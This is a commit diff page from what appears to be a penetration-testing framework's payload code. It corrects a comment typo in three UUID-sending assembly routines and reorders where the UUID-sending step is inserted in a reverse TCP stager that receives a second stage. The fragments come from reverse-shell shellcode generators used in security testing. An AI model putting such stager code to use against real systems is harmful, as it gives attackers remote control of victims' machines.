File tree Expand file tree Collapse file tree 4 files changed +7
-5
lines changed Expand file tree Collapse file tree 4 files changed +7
-5
lines changed Original file line number Diff line number Diff line change @@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
28
28
push ecx ; store ecx for later
29
29
push 0 ; terminate the args array
30
30
push #{ uuid_raw . length } ; length of the UUID
31
- call get_uuid_address ; put uuid buffer on tehe stack
31
+ call get_uuid_address ; put uuid buffer on the stack
32
32
db #{ raw_to_db ( uuid_raw ) } ; UUID itself
33
33
get_uuid_address:
34
34
push edi ; socket handle
Original file line number Diff line number Diff line change @@ -177,11 +177,13 @@ def asm_reverse_tcp(opts={})
177
177
end
178
178
=end
179
179
180
- asm << asm_send_uuid if include_send_uuid
181
-
182
180
asm << %Q^
183
181
connected:
182
+ ^
184
183
184
+ asm << asm_send_uuid if include_send_uuid
185
+
186
+ asm << %Q^
185
187
recv:
186
188
; Receive the size of the incoming second stage...
187
189
push 0 ; flags
Original file line number Diff line number Diff line change @@ -27,7 +27,7 @@ def asm_send_uuid(uuid=nil)
27
27
send_uuid:
28
28
push 0 ; flags
29
29
push #{ uuid_raw . length } ; length of the UUID
30
- call get_uuid_address ; put uuid buffer on tehe stack
30
+ call get_uuid_address ; put uuid buffer on the stack
31
31
db #{ raw_to_db ( uuid_raw ) } ; UUID
32
32
get_uuid_address:
33
33
push edi ; saved socket
Original file line number Diff line number Diff line change @@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
28
28
xor r9, r9 ; flags
29
29
push #{ uuid_raw . length } ; length of the UUID
30
30
pop r8
31
- call get_uuid_address ; put uuid buffer on tehe stack
31
+ call get_uuid_address ; put uuid buffer on the stack
32
32
db #{ raw_to_db ( uuid_raw ) } ; UUID
33
33
get_uuid_address:
34
34
pop rdx ; UUID address
You can’t perform that action at this time.
0 commit comments